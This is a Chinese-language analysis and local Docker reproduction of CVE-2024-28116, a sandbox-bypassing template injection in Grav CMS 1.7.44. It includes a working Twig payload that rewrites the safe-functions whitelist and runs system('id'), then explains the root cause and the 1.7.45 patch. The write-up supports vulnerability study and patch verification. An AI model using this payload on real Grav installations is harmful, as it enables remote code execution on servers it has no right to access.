对 CVE-2024-28116 的分析与 Docker 复现。该漏洞是 Grav CMS 1.7.44 及更早版本中的一个服务端模板注入(SSTI)漏洞,可绕过安全沙箱,已在 1.7.45 版本中修复。
报告者:Maurizio Siddu (akabe1)
CVSS v3.1 评分:8.8(高危)
修复版本:Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
在浏览器中打开 http://localhost:8080/admin,首次访问时创建管理员账户。
http://localhost:8080/admintest page,点击 Continue{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-page这确认了可以 Web 服务器用户身份执行远程代码(RCE)。
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
在浏览器中打开 http://localhost:8081/admin,重复上述所有漏洞利用步骤,并将目标改为 http://localhost:8081/test-page。
页面将完全空白。Security.php 中的 cleanDangerousTwig() 方法会在 twig.safe_functions 指令到达 Twig 引擎之前将其检测并阻止。白名单永远不会被修改,命令也永远不会被执行。
该漏洞位于 system/src/Grav/Common/Twig.php 中。Grav 实现了一个沙箱,基于 isDangerousFunction() 所检查的黑名单,防止在 Twig 模板中调用危险的 PHP 函数。然而,该沙箱并不保护 Twig 对象本身。拥有编辑者权限的用户可以通过精心构造的模板指令与 Twig 对象交互,并在运行时覆盖 system.twig.safe_functions 白名单。一旦 system() 等危险函数被加入白名单,沙箱检查即被绕过,该函数便可不受限制地执行。
该补丁在 system/src/Grav/Common/Security.php 的 cleanDangerousTwig() 方法中,将 'twig.safe_functions' 加入被阻止的模式列表。任何包含该字符串的指令都会在到达 Twig 引擎之前被中和,从而使编辑者无法在模板内部修改白名单。